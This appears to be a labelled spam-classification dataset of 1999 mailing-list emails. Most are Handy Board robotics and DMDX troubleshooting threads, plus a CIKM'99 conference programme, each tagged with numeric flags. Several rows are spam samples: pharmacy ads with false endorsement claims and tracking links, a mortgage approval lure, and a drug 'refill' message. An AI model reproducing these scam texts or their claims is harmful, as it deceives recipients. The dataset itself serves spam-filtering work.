there's a way to power up a Garmin (hitting a certain sequence of keys) where you'll see the HDOP figure on the first page. That figure CAN be believed. You can also read the inside temperature of the unit and the battery voltage in that mode, among other things. GPS typically cannot receive signals inside buildings, unless you're very lucky in the type and density of the building material. I can receive signals most of the time inside my house, but it is a one-story wood structure. I still get some blockage. Oh yea, water blocks it also. I think I heard something like 1/8"" or 1/4"" of water will effectively block the 1.5 GHz GPS signals. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 Adam Oliver ,'Handyboard Mailing List' ,"Fri, 22 Oct 1999 00:57:40 +0800",HC11 pink book,"Hi, I've seen this referenced, and grabbed the link that someone provided the other day. I've had a look at all the different manuals listed, but I can' work out which is the right one to grab. My handyboard has the 68HC11A1FN part number. Can anyone help? thanks Adam ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 21 Oct 1999 16:39:12 -0700",[DMDX] Re: ,"At 12:10 PM 10/21/99 -0700, you wrote: >I'm trying to get DMDX set up on a new computer in our lab and can't get it to >go. When I try to run a file, I get an error message saying > >""create surface failed: >DDERR>TOOBIGSIZE (887601e0) >size requested by Direct Draw is too large - individual height and width are >OK."" > >my video mode is set at <1024 768 768 0 > in both the rtf file as well as in >all of the tests in TimeDX. You're missing a number there, the bit depth of the display as in <1024 768 768 8 0> for an 8bpp display, it's probably trying to create a 32bpp dispaly which probably needs more mempory than your display card has. I'm surprised DMDX didn't complain about trying to use a video mode not in the registry. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Idleness is leisure gone to seed.",0,0 BART_SCHRIJVER@HP-Sonoma-om2.om.hp.com,oli@wantree.com.au,"Thu, 21 Oct 1999 13:52:45 -0700",Re: HC11 pink book," Adam: The pink book part number from Motorola is: M68HC11RM/AD this is the general reference manual for the whole family of microcontrollers, there is also a technical data manual with P/N: MC68HC11A8/D this one just covers the A series processors. Bart. ______________________________ Reply Separator _________________________________ Subject: HC11 pink book Author: Non-HP-oli (oli@wantree.com.au) at HP-PaloAlto,mimegw2 Date: 10/21/99 9:57 AM Hi, I've seen this referenced, and grabbed the link that someone provided the other day. I've had a look at all the different manuals listed, but I can' work out which is the right one to grab. My handyboard has the 68HC11A1FN part number. Can anyone help? thanks Adam ",0,0 Matthew Finkbeiner ,DMDX@psy1.psych.arizona.edu,"Thu, 21 Oct 1999 18:29:31 -0700",[DMDX],"Jonathan, thanks for the reply. What I had (see below) was a typo -- it should have been <1024 768 768 16 0>, with which I get the error mentioned below. If I try to run an item file with (or any other vm) then I do get an error message saying ""video mode not in the registry."" With my vm set at <1024 768 768 16 0>, though (both in the item file and in the registry), all I get is the error below. Please don't tell me this is the video card! It's brand new and based on the nVIDIA RIVA TNT2 chipset (AGP, 32 megs) matthew >>I'm trying to get DMDX set up on a new computer in our lab and can't get >it to >>go. When I try to run a file, I get an error message saying >> >>""create surface failed: >>DDERR>TOOBIGSIZE (887601e0) >>size requested by Direct Draw is too large - individual height and width are >>OK."" >> >>my video mode is set at <1024 768 768 0 > in both the rtf file as well as in >>all of the tests in TimeDX. > > You're missing a number there, the bit depth of the display as in <1024 >768 768 8 0> for an 8bpp display, it's probably trying to create a 32bpp >dispaly which probably needs more mempory than your display card has. I'm >surprised DMDX didn't complain about trying to use a video mode not in the >registry. > >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > Idleness is leisure gone to seed. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== >",0,1 Jeff Newton ,independent@cyclery.com,"Thu, 21 Oct 1999 22:46:31 -0700",Rates for oversized packages," Would those on the list please advise how they would price range oversized packages for delievery as well for pick up. Thank - Jeff ______________________________________________________________________________ Oregon's Willamette Valley Scanner Page: http://www.efn.org/~newton Metro Valley Spot News Page: http://www.efn.org/~newton/metro.html NOAA National Weather Service SEVERE WX SKYWARN SPOTTER: Lane - 31 Email: newton@efn.org ______________________________________________________________________________ ",0,1 TH0RMAN23@aol.com,handyboard@media.mit.edu,"Thu, 21 Oct 1999 23:30:37 -0400",Analog port shaft encoder,"Hi, I am having great difficulty trying to get my shaft encoder to work using both sencdr3.icb or fencdr3.icb driver. I am using the QRB1114 optical sensor connected to analog port 3 with a current limiting resistor of 330 ohms for the emmiter and the default 47k pull-up resistor from the Handy board. I've even tried using a smaller valued limiting resistor of 220 ohms and its still didn't work ! I' ve loaded the sencdr3.icb into the handy board and wrote this little simple test code to see if my encoder work and so far I have no result, all I got was a 1. I'd appreciated if some one can help me out on this one, Thanks in advance. int encoder_test() { while(1) { int count; count = encoder3_counts; printf(""Count: %d,"" count); } return count; } void main() { while(1) { encoder_test(); } } ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 22 Oct 1999 08:43:23 -0700",[DMDX] Re: ,"At 06:29 PM 10/21/99 -0700, you wrote: >Jonathan, thanks for the reply. What I had (see below) was a typo -- >it should have been <1024 768 768 16 0>, with which I get the error >mentioned below. If I try to run an item file with 8, 0> (or any other vm) then I do get an error message saying ""video >mode not in the registry."" With my vm set at <1024 768 768 16 0>, >though (both in the item file and in the registry), all I get is the >error below. > >Please don't tell me this is the video card! It's brand new and based >on the nVIDIA RIVA TNT2 chipset (AGP, 32 megs) No, 32 megs is more than enough for any video mode. I have a TNT2 in the development machine which I can test when I get to work, but I doubt that it will fail. When do you get the error message? Immediately as the item file runs or only at a specific item? If it's only at a specific item you might check the positioning of elements in the item and make sure that they don't extend beyond the edges of the screen as this can often cause the kind of error you are experiencing. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Fidelity: A virtue peculiar to those who are about to be betrayed.",0,0 Chandra Starnes ,handyboard@media.mit.edu,"Fri, 22 Oct 1999 13:06:16 +0200",xanax dubitable ,"Hello, As a valued customer, we provide you with occassional information and updates. Our records indicate that you may be in need of a refill. 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Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 22 Oct 1999 10:42:57 -0700",[DMDX] 1024x768x16 on a TNT2," 1024x768x16 on my TNT2 works so I dunno what the surface too big error is relating to unless it's some syntactically correct frame that has some semantic error in it, usually a bitmap but it could be text that is positioned such that it overlaps the edge of the screen. If it's not that you might want to go to the NVIDIA web site (www.nvidia.com) and grab their reference drivers, I'm was using the 2.08 Detonator drivers and they work, 3.53 was just released last night and I'd install them and try it except that every man and his dog that owns a TNT is downloading them right now -- in any event I'd be _way_ surprised if they failed, I never use anyhting except NVIDIA reference drivers. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Idleness is leisure gone to seed. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 22 Oct 1999 11:52:07 -0700",[DMDX] Re: 1024x768x16 on a TNT2," The 3.53 drivers work as well. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Idleness is leisure gone to seed. ",0,0 Fern Mitchell ,handyboard@media.mit.edu,"Fri, 22 Oct 1999 12:42:12 -0100",All products for your health!,"http://rqlpnu.myfullline.info/?18814456 Suffering from pain, depression or heartburn? We'll help you! All verified dr@gs collected at one LICENSED online store! Great choice of wonderful meds to give you long-awaited relief! Operative support, fast shipping, secure p@yment processing and complete confidentiality! The store is VERIFIED BY BBB and APPROVED BY VISA! http://rqlpnu.myfullline.info/?18814456 ",1,1 jmaxwell10@hotmail.com,java-sig@csc-sun.math.utah.edu,"Fri, 22 Oct 1999 17:55:02 -0700",Keep in touch.,"Want to keep in touch with old friends from school? The Gradfinder website is the perfect place to do just that. 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I'm not clear on how you are wiring the encoder up to the board. You could also try hooking the scope up to the handyboard side of your current limiting resistor. This should show you what is actually going into the microcontrollers input. If you are not getting a clean 0 - 5 volt signal, you either need to change your circuit, or you can change the threshold used in the encoder library. Also try manually feeding a 1 or 0 to analog input 3 to see if your c code is working. I appologise if these have been off the wall suggestions. I'm currently trying to debug a class project, so I'm in a troubleshooting mode. Joshua ",0,0 Theresa Avery ,handyboard@media.mit.edu,"Fri, 22 Oct 1999 19:37:36 -0600",RERE:WE approved yours loan jqyy22,"Dear Homeowner, http://paymortz.com You have been approved for a $ 747,957 house loan (2.9 fixed) This offer is being presented to you right now!. Your credit history is in no way a factor. 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It's working fine now. thanks again Matthew ",0,0 TH0RMAN23@aol.com,anhalt+@andrew.cmu.edu,"Sat, 23 Oct 1999 14:37:13 -0400",Re: Analog port shaft encoder,"Tried what you said Joshua, I went through all the analog ports and manually fed them with a TTL signal from a function generator at a relatively low frequency of 5Hz and wrote this little test code to test it. In this example, the sencdr3.icb has been loaded with a global variable named encoder3_counts. This variable kept the running count of the encoder's ticks so I really dont have to do anything else but to read it. void encoder_test() { while(1) { printf(""Count: %d\\n"", encoder3_counts); } } void main() { start_process(encoder_test()); } The optical encoder is connected to analog port 3 with a 330 ohms current limiting resistor for the Emmiter and the sensor si pull up by the Handy Board's internal 47K. An oscilloscope is connected to the sensor side of the encoder (QRB1114) . I ran the code and got the pulse but I have no result on the LCD beside a 1 which seems to ""stuck"" there and wont change. Does anybody else have this problem with using this driver? Thanks. Best regard, Rob ",0,0 Florent Gilles ,handyboard@media.mit.edu,"Sat, 23 Oct 1999 20:11:08 +0000",Anybody's French ?,"Hi all! As I plan to build a Handy Bord, and as I am a bit far away from USA, I just would like to know if there is anyone living in France (and maybe in/near Paris?)... Electronic components aren't really cheap here, so if I could share tips about Robotic and electronic, that would be really nice! Florent GILLES ----------------------------------------- please remove NOSPAM for an email reply ",0,0 Nicholas,Omer ,"Sun, 24 Oct 1999 04:01:18 +0600",prepare urself for this,"Heya Omer, Eddie wanted to me to send you an email about the store I went to buy my goodies, http://www.fabloulusil.com/tpn/. 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Batteries take and hold a charge, downloads are ok, motors seem fine with PWM or without, but I can't seem to read inputs. Symptoms: I connected photoresistors (Ratshack type) to analog inputs 0-4 (as per the manual) and tried to read them photovore fashion, only when the bot was turned on, nothing changed. Checked the program, it was fine. Then I disconnected the sensors, rebooted and tried to read the ports, all read 255, digital read 0. So I reconnected the sensors and covered them, all read 255, covered or not. so I tried to read the frob_knob() and it came back 255, regardless of its position, it's 255. Then (wierd part), after the borad was off for a while, I turned in on with a photoresistor attached to digital(8), just to see if I could make it go high. Of course, it stayed low, but I checked analog(1) and it read 0! quick, hookup the photoresistor and read it in full light, 255! Cover it, read it...255. What? Then, after that, all analog inputs read 255, and frob_knob still stays at 255. Problem? I'm worried that I screwed up the photoresistor hookup. Note the ASCII art representation of the input layout below: HC11 chip |---|---| INPUTS | | | <-- top row |---|---| <-- space |---|---| | | | <-- middle row |---|---| | | | <-- bottom row |---|---| Front of Board Pretend that this is analogs 0 and 1. This position would put the IR input directly to the right, and the rest off the page. My original scheme had one leg of the light sensor in the bottom row (gnd?) and one in the top row (input?). I tried it this way to back sure it didn't work and was confirmed. then I attached a +5v (from board) to the middle row and tried it. nothing happened. This *is* the correct scheme, is it not? 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",0,0 Carroll Otero ,handyboard@media.mit.edu,"Mon, 25 Oct 1999 05:56:35 +0200",ũ�� ���� !!��� ��!!�� ���� ���ƾ�~~~,""""" """" """"",1,1 Bengt Kleberg ,9fans@cse.psu.edu,"Mon, 25 Oct 1999 14:40:14 +0200","[9fans] looking for briand, who had the web page http://www.inetarena.com/~briand/scheme_eval.html","You used to post to 9fans, and I hope that you might read this. The web page is gone, and I wonder if there is a new address (or I I could ge a copy of it) ",0,0 Martin Dupras ,"""handyboard@media.mit.edu"" ","Mon, 25 Oct 1999 15:01:04 +0100",How do I connect 100 photocells to my handyboard?,"Hi, For a project I'm working on, I need to track the output of one hundred (100) photocells. I don't need great accuracy on any of them, but maybe a ten-step resolution at the most. Is there a relatively standard or well-known method to gather several such things and combine them into a number of signals that the handyboard can handle? Thanks a lot! - martin ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Mon, 25 Oct 1999 07:27:58 -0700",Re: HC11 pink book,"Adam, Here are three books for your MCU: M68HC11RM/AD is the M68HC11 Reference Manual M68HC11A8/D is the M68HC11A8 Technical Data book M68HC11A8RG/AD is the M68HC11A8 Programming Reference Guide They are available at: http://www.mot-sps.com/home/lit_ord.html Hope this helps, - Nick - Adam Oliver wrote: > > Hi, > I've seen this referenced, and grabbed the link that someone provided the > other day. I've had a look at all the different manuals listed, but I can' > work out which is the right one to grab. My handyboard has the 68HC11A1FN > part number. > > Can anyone help? > thanks > Adam ",0,1 Lucio De Re ,9fans@cse.psu.edu,"Mon, 25 Oct 1999 17:25:24 +0200","Re: [9fans] looking for briand, who had the web page http://www.inetarena.com/~briand/scheme_eval.html","On Mon, Oct 25, 1999 at 02:40:14PM +0200, Bengt Kleberg wrote: > > You used to post to 9fans, and I hope that you might read this. > > The web page is gone, and I wonder if there is a new address (or I I could ge a copy of it) I noticed its new address in the monthly reminder. Have a look on mit's netnews repository - comp.os.plan9, I should imagine. ++L PS: by now, I'm sure your problem is solved :-) ",0,0 Gary Livick ,TH0RMAN23@aol.com,"Mon, 25 Oct 1999 09:24:48 -0700",Re: Analog port shaft encoder,"Rob, I use these same encoders just as you do, and they work fine. However, the spacing of the encoders from thier targets is important for proper function. 1.5 to 2 mm works well for me. In addition, I have had to play with the encoder high threshold to make things work. I set mine at 125, and never miss a count. Good Luck, Gary Livick TH0RMAN23@aol.com wrote: > Tried what you said Joshua, I went through all the analog ports and manually > fed them with a TTL signal from a function generator at a relatively low > frequency of 5Hz and wrote this little test code to test it. In this example, > the sencdr3.icb has been loaded with a global variable named encoder3_counts. > This variable kept the running count of the encoder's ticks so I really dont > have to do anything else but to read it. > > void encoder_test() > { > while(1) > { > printf(""Count: %d\\n"", encoder3_counts); > } > } > > void main() > { > start_process(encoder_test()); > } > > The optical encoder is connected to analog port 3 with a 330 ohms current > limiting resistor for the Emmiter and the sensor si pull up by the Handy > Board's internal 47K. An oscilloscope is connected to the sensor side of the > encoder (QRB1114) . I ran the code and got the pulse but I have no result on > the LCD beside a 1 which seems to ""stuck"" there and wont change. Does anybody > else have this problem with using this driver? Thanks. > > Best regard, > Rob ",0,0 Adam Oliver ,'Handyboard Mailing List' ,"Tue, 26 Oct 1999 01:11:30 +0800",What can I do with a robot?,"A question for all of you fantastic robotics enthusiasts out there: I have to do a final year project next year, and I'm getting a head start on designing it. I've been told that I can do pretty much what I like with a robot, as long as it has a lot of interfacing to external devices and the like. What I would like to ask, is what else could I possibly hook up? Currently I'm only looking at an ultrasonic ranging sensor, but I want to have more. My idea is a wheeled robot which can navigate around engineering building unassisted, possibly vacuuming, xferring messages and the like. I really can't go drawing lines or running wires etc... Any suggestions? thanks Adam ",0,0 Gary Livick ,Adam Oliver ,"Mon, 25 Oct 1999 11:32:21 -0700",Re: What can I do with a robot?,"Adam, As far as interfacing to external devices, the inexpensive ones are wheel encoders, IR ranging, bumpers, sound sensors and visible light sensors. You can get much more involved by adding compasses, GPS, video vision and so on, but the cost goes up with the level of complexity, and for little gain. You'll be years just exploring all the facets of developing intelligent behaviors around the simple sensors. Navigation is a lot more difficult than it would appear. The main way for your robot to keep track of its location is by counting wheel encoder clicks. Very quickly, the errors (wheel slip, resolution of the wheel encoder targets) mount up and the robot has a very wrong idea of where it is. Correcting location is possible by using landmark recognition, but this is a big deal requiring lots of ability on the part of the programmer, and worse.... lots and lots of TIME. Autonomous ""roaming"" is a much easier thing to do as the robot is reactive outside of just going in a straight line. Simple stimulus-response. Then adding in other activities such as light following can go on top of it without complicating the project to the point that nothing works. If you have sonar, you can do things like look for and head in the direction having the longest clear path. The robot that does this kind of roaming is relatively easy to program, can make use of lots of senors, and has a high grade coefficient (looks interesting * looks difficult* x 4.0). I suspect that somewhere in there lies an acceptable challenge for you. Just remember the number one rule; keep it simple. Good luck, Gary Livick Adam Oliver wrote: > A question for all of you fantastic robotics enthusiasts out there: > > I have to do a final year project next year, and I'm getting a head start on > designing it. I've been told that I can do pretty much what I like with a > robot, as long as it has a lot of interfacing to external devices and the > like. What I would like to ask, is what else could I possibly hook up? > Currently I'm only looking at an ultrasonic ranging sensor, but I want to > have more. My idea is a wheeled robot which can navigate around engineering > building unassisted, possibly vacuuming, xferring messages and the like. I > really can't go drawing lines or running wires etc... > > Any suggestions? > > thanks > Adam ",0,0 Shana Negin ,handyboard@media.mit.edu,"Mon, 25 Oct 1999 19:34:27 +0000",Compiler Errors keep my board from loading," Help!! I don't know how to fix compiler errors! Specifically, I received the following error: ""Compiler error! 47 extra bytes left on board stack. "" and I don't know how to fix it. I do know that I cannot load programs on my board until I fix the error. I posted this message before, but no one responded. Do I have to re-downlaod the software, or is there another way? Thank you, Shana Negin ",0,0 Paul DaCosta ,Handyboard ,"Mon, 25 Oct 1999 15:38:32 -0400",MOTOR DRIVERS,"Question? When using a motor which will exceed the driver chip max current, will that fry the chip or the handy board? Paul ",0,0 Sean Verret ,Paul DaCosta ,"Mon, 25 Oct 1999 13:00:38 -0700",Re: MOTOR DRIVERS,"Answer it'll fry the chip Question? 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And advertise by enmail as much as you can with this version. Thanks, EK Park CIKM99 PS. IAN, would you please put this final verion of CIKM99 Program in CIKM99 webpage ? Tutorial T5 has been canceled also !!!! ------------------------------ cut here ------------------------------------- ********************************************** This file contains Registration Form and ACM * CIKM99/Workshops/Tutorials information. We * apologize if you receive multiple copies. * ********************************************** ACM CIKM99/Tutorials/Workshops(GIS99/WIDM99/DOLAP99/NPIVM99) Nov. 2 - 6, 1999, Kansas City, Missouri USA Marriott by the Country Club Plaza hotel (Please visit www.cs.umbc.edu/cikm for more information) ============================================================ Registration Desk: 8AM - 5PM, Nov. 2 - Nov. 6, 1999 (Grand Ballroom Foyer) Continental Breakfast provided: 8AM - 9AM, Nov. 3 - Nov. 4, 1999 (Grand Ballroom Foyer) --------------------------------------------------------------------- ACM CIKM'99 Tutorials: (Tuesday, Nov. 2, 1999) T2 (Models in IR) T3 (Spatio-Temporal Information Systems) T4 (Data Mining/Large DB) ---------------------------------------- T3 : 8:00AM - 12Noon; Westport Room T2 : 1:00PM - 5PM; Plaza Room T4 : 1:00PM - 5PM; Westport Room Detailed description of each tutorial is enclosed below. --------------------------------------------------------------------- ACM CIKM'99 Conference Technical Program ======================================== *************************************************************************** Wednesday, November 3, 1999 *************************************************************************** 9:00 - 10:00 Keynote Address: (Salon ABCDE) Searching the web: can you find what you want? C. Lee Giles ------------------------------------------------------------- 10:15 - 11:15 Session I (3 Parallel Sessions) ------------------------------------------------------------- Session I-A: Spatial Databases (Session Chair: Kia Makki, U. SW Louisiana) (Salon ABC) ------------------------------------------- Simple QSF-Trees: An Efficient and Scalable Spatial Access Method Byunggu Yu, Ratko Orlandic and Martha Evens Transformation-Based Spatial Join Ju-Won Song, Kyu-Young Whang, Young-Koo Lee, Min-Jae Lee and Sang-Wook Kim Binary String Relations: A Foundation for Spatiotemporal Knowledge Representation Delis Vasilis and Hadzilacos Thanasis Session I-B: Data Extraction (Session Chair: David Grossman, Illinois Institute of Tech.) (Salon D) ------------------------------------------------------------ Extracting Significant Time Varying Features from Text Russell Swan and James Allan A Method of Geographical Name Extraction from Japanese Text for Thematic Geographical Search Yasusi Kanada Training a Selection Function for Extraction Chin-Yew Lin Session I-C: Databases and the Web (Session Chair: Stephen Liddle, Brigham Young University) (Salon E) --------------------------------------------------------- Ready for Prime Time - Pre-Generation of Web Pages in TIScover B. Proll, H. Starck, W. Retschitzegger and H. Sighart Local Replication for Proxy Web Caches with Hash Routing Kun-Lung Wu and Philip S. Yu Semantic Caching via Query Matching for Web Sources Dongwon Lee and Wesley W. Chu ----------------------------------------------------------------- 11:30 - 12:30 Session II (3 Parallel Sessions) ----------------------------------------------------------------- Session II-A: Structured and Semi-Structured Data (Session Chair: Ling Liu, GIT) (Salon ABC) ------------------------------------------------- Automatically Extracting Structure and Data from Business Reports Stephen W. Liddle, Douglas M. Campbell and Chad Crawford Extracting Semi-Structured Data Through Examples Berthier Ribiero-Neto, Alberto H.F Laender and Altigran S. da Silva Discovering Quasi-Equivalence Relationships from Database Systems Mei-Ling Shyu, Shu-Ching Chen and R.L. Kashyap Session II-B: Document Classification (Session Chair: Yannis Labrou, UM-Baltimore County) (Salon D) ------------------------------------------------------------ Task-Oriented World Wide Web Retrieval by Document Type Classification Katsushi Matsuda and Toshikazu Fukushima Classification Algorithms for NETNEWS Articles Wen-Lin Hsu and Sheau-Dong Lang Text Classification Using ESC-based Stochastic Decision Lists Hang Li and Kenji Yamanishi Session II-C: Web Applications (Session Chair: C. Lee Giles, NEC Research Institute) (Salon E) ----------------------------------------------------- Database Model for Web-Based Cooperative Applications Waldemar Wieczerzycki Indexing and Retrieval of Scientific Literature Steve Lawrence, Kurt Bollacker and C. Lee Giles Metadata and Data Structures for the Historical Newspaper Digital Libray Robert Allen and John Schalow ------------------------------------------------------------------------ 12:30 - 2:00 Lunch ------------------------------------------------------------------------ ------------------------------------------------------------------------ 2:00 - 3:00 Session III (3 Parallel Sessions) ------------------------------------------------------------------------ Session III-A: Data Warehousing and OLAP (Session Chair: Soon M. Chung, Wright State University) (Salon ABC) ------------------------------------------------------- A Horizontal Fragmentation Algorithm for the Fact Relation in a Distributed Data Warehouse Amin Y. Noaman and Ken Barker Requirement-Based Data Cube Schema Design David W. Cheung, Bo Zhou, Ben Kao, Hongjun Lu, Tak Wah Lam and Hing Fung Ting Extending Complex Ad-Hoc OLAP Theodore Johnson and Damianos Chatziantoniou Session III-B: Ontologies on the Web (Session Chair: Norbert Goevert, U. of Dortmund) (Salon D) ------------------------------------------------ Yahoo! As an Ontology - Using Yahoo! Categories to Describe Documents Yannis Labrou and Tim Finin Ontology-Based Web Site Mapping for Information Exploration Xiaolan Zhu, Susan Gauch, Lutz Gerhard, Nicholas Kral and Alexander Pretschner Browsing Large Digital Library Collections Using Classification Hierarchies S. Geffner, D. Agrawal, A. El Abbadi and T. Smith Session III-C: Distributed Search (Session Chair: Charles Nicholas, UM-Baltimore County) (Salon E) --------------------------------------------------------------- ZBroker: A Query Routing Broker for Z39.50 Databases Yong Lin, Jian Xu, Ee-Peng Lim and Wee-Keong Ng Architecture of a Metasearch Engine that Supports User Information Needs Eric J. Glover, Steve Lawrence, William P. Birmingham and C. Lee Giles Efficient and Effective Metasearch for a Large Number of Text Databases Clement Yu, Weiyi Meng, King-Lup Liu, Wensheng Wu and Naphtali Rishe ------------------------------------------------------------------------------ 3:15 - 4:35 Session IV (2 Parallel Sessions plus a Panel) ------------------------------------------------------------------------------ Session IV-A: Association Rules (Session Chair: Ted Johnson, AT&T) (Salon ABC) ---------------------------------- Mining Inter-Transaction Associations with Templates Ling Feng, Hongjun Lu, Jeffrey Xu Yu and Jiawei Han Efficient Mining of Association Rules in Text Databases John D. Holt and Soon M. Chung Using Domain Knowledge in Knowledge Discovery Suk-Chung Yoon, Lawrence J. Henschen, E.K. Park and Sam Makki Incremental and Interactive Sequence Mining S. Parthasarathy, M.J. Zaki, M. Ogihara and S. Dwarkadas Session IV-B: Query Processing (Session Chair: Amy Apon, University of Arkansas) (Salon D) ------------------------------------------------- SemQL: A Semantic Query Language for Multidatabase Systems Jeong-Oog Lee and Doo-Kwon Baik Rule-Based Query Optimization, Revisited Lane B. Warshaw and Daniel P. Miranker Page Access Scheduling in Join Processing Andrew Lim, Jennifer Lai-Pheng Kwan and Wee-Chong Oon Queryable Acyclic Production Systems David Tanzer and Dennis Shasha Session IV-C: Panel: Information Technology Issues in Industry (Session Chair: David Grossman, Illinois Institute of Tech.) (Salon E) -------------------------------------------------------------- CIKM99 Conference Reception: 6PM - 8PM (Nov. 3, 1999), Grand Ballroom ABCD (Hors D'oeuvres/cash Bar) ************************************************************************** Thursday November 4, 1999 ************************************************************************** 9:00 - 10:00 Keynote Address: (Salon ABCDE) ""A Practitioners' View of Techniques Used in Data Warehousing for Sifting Through Data to Provide Information"" James T. Scoggins -------------------------------------------------------------------------- 10:15 - 11:15 Session V (3 Parallel Sessions) -------------------------------------------------------------------------- Session V-A: View Maintenance 1 (Session Chair: John Smith, IBM) (Salon ABC) -------------------------------- Self Maintenance of Multiple Views in Data Warehousing S. Samtani, V. Kumar and M. Mohania Updates and View Maintenance in Soft Real-Time Database Systems Ben Kao, K.Y Lam, Brad Adelberg, Reynold Cheng and Tony Lee An Adaptive View Element Framework for Multi-dimensional Data Management John R. Smith and Chung-Sheng Li Session V-B: Information Retrieval Systems (Session Chair: Eytan Adar, Xerox Parc) (Salon D) ------------------------------------------ A General Language Model for Information Retrieval Fei Song and W. Bruce Croft Practical Evaluation of IR within Automated Classification Systems R. Dolin, J. Pierre, M. Butler and R. Avedon A Unified Environment for Fusion of Information Retrieval Approaches M. Catherine McCabe, Abdur Chowdhury, David A. Grossman and Ophir Frieder Session V-C: Physical Indexing (Session Chair: Rokia Missaoui, Univ du Quebec a Montreal) (Salon E) ---------------------------------------------------------- Indexing Field Values in Field Oriented Systems: Interval Quadtree Myoung-Ah Kang, Sylvie Servigne, Ki Joune Li and Robert Laurini Clustering Declustered Data for Efficient Retrieval Hakan Ferhatosmanoglu, Divyakant Agrawal and Amr El Abbadi Indexing Techniques for Wireless Data Broadcast under Data Clustering and Scheduling Qinglong Hu, Wang-Chien Lee and Dik Lun Lee -------------------------------------------------------------------------- 11:30 - 12:30 Session VI (3 Parallel Sessions) -------------------------------------------------------------------------- Session VI-A: View Maintenance 2 (Session Chair: Il-Yeol Song, Drexel University) (Salon ABC) ------------------------------------------------ Towards Data Warehouse Design Franck Ravat, Oliver Teste and Gilles Zurfluh Obsolescent Materialized Views in Query Processing of Enterprise Information Systems Avigdor Gal Efficient Refreshment of Materialized Views with Multiple Sources Hui Wang, Maria Orlowska and Weifa Liang Session VI-B: Efficient Information Retrieval (Session Chair: Vijay Kumar, UM-KC) (Salon D) --------------------------------------------- An Effective Mechanism for Index Update in Structured Documents Hyunchul Jang, Youngil Kim and Dongwook Shin Performance and Implications of Semantic Indexing in a Distributed Environment Conrad T.K. Chang and Bruce R. Schatz Quality of Service Transferred to Information Retrieval: The Adaptive Information Retrieval System Claudia Rolker and Ralf Kramer Session VI-C: User Centric Systems (Session Chair: Susan Gauch, U. Kansas) (Salon E) --------------------------------------- An Adaptive Algorithm for Learning Changes in User Interests Dwi H. Widyantoro, Thomas R. Ioerger and John Yen Haystack: Per-User Information Environments Eytan Adar and David Karger Information Integration with Attribution Support for Corporate Profiles Thomas Lee, Melanie Chams, Robert Nado, Stuart Madnick and Michael Siegel ----------------------------------------------------------------------- 12:30 - 2:00 Lunch ----------------------------------------------------------------------- ----------------------------------------------------------------------- 2:00 - 3:00 Session VII (3 Parallel Sessions) ----------------------------------------------------------------------- Session VII-A: Multimedia Databases (Session Chair: Cyrus Shahabi, USC) (Salon ABC) ----------------------------------- Architecture of a Networked Image Search and Retrieval System R. Weber, J. Bolliger, T. Gross and H.-J. Schek A Comparison of Alternative Continuous Display Techniques with Heterogeneous Multi-Zone Disks Shahram Ghandeharizadeh and Seon Ho Kim Spatial Match Representation Scheme Supporting Ranking in Iconic Images Databases Yeon-Jung Kim, Choon-Bo Sim and Jae-Woo Chang Session VII-B: Processing Web Documents (Session Chair: Waldemar Wieczerzycki, The Poznan University) (Salon D) ------------------------------------------------------------- Word Segmentation and Recognition for Web Document Framework Chi-Hung Chi, Chen Ding and Andrew Lim An Automated Approach for Retrieving Hierarchical Data from HTML Tables Seung-Jin Lim and Yiu-Kai Ng A Probabilistic Description-Oriented Approach for Categorising Web Documents Norbert Govert, Mounia Lalmas and Norbert Fuhr Session VII-C: Clustering (Session Chair: S. Kundu, Louisiana State University) (Salon E) ----------------------------------------------------- Clustering Transactions Using Large Items Ke Wang, Chu Xu and Bing Liu A Multiple-Resolution Method For Edge-Centric Data Clustering Scott Epter and Mukkai Krishnamoorthy A Self-Organized File Cabinet Dawn Lawrie and Daniela Rus -------------------------------------------------------------------------- 3:15 - 4:15 Session VIII (2 Parallel Sessions plus a Panel) -------------------------------------------------------------------------- Session VIII-A: Object-Oriented Databases (Session Chair: Michael Halper, Kean University) (Salon ABC) ------------------------------------------------ Incremental Encoding of Multiple Inheritance Hierarchies M.F. van Bommel and T.J. Beck >>From Object Evolution to Object Emergence Dalila Tamzalit and Chabane Oussalah Graph-Based Object-Orieted Approach for Structural and Behavioral Representation of Multimedia Data Ivan Radev, Niki Pissinou, Kia Makki and E. K. Park Session VIII-B: Learning and Adaptive Systems (Session Chair: S.C. Yoon, Wiedner University) (Salon D) ---------------------------------------------- A Learning Approach to Processor Allocation in Parallel Systems Amy W. Apon, Thomas D. Wagner and Lawrence W. Dowdy Adaptive Information Filtering: Detecting Changes in Text Streams Carsten Lanquillon and Ingrid Renz Archiving Telemeetings Constantin Arapis Session VIII-C: Panel: (Avigdor Gal, Rutgers University) (Salon E) -------------------------------------------------------- Data Integration in Electronic Commerce: An Aging Problem Receiving a New Dimension Conference Banquet (CIKM99): 6:30PM - 9PM, Seville Foyer (Cash Bar), Seville Ballroom (Buffet Dinner) Banquet Speaker: Prof. Peter Chen, LSU ============================================================================== ACM WORKSHOPS/SYMPOSIUM: ------------------------ November 5, 1999: GIS'99 (Salon D and Salon E) WIDM'99 (Westport Room) November 6, 1999: GIS'99 (Salon E) DOLAP'99 (Salon ABC and Salon D: afternoon only) NPIVM'99 (Salon FG) WIDM'99 (Salon D: morning only) Workshop reception: Friday, Nov. 5, 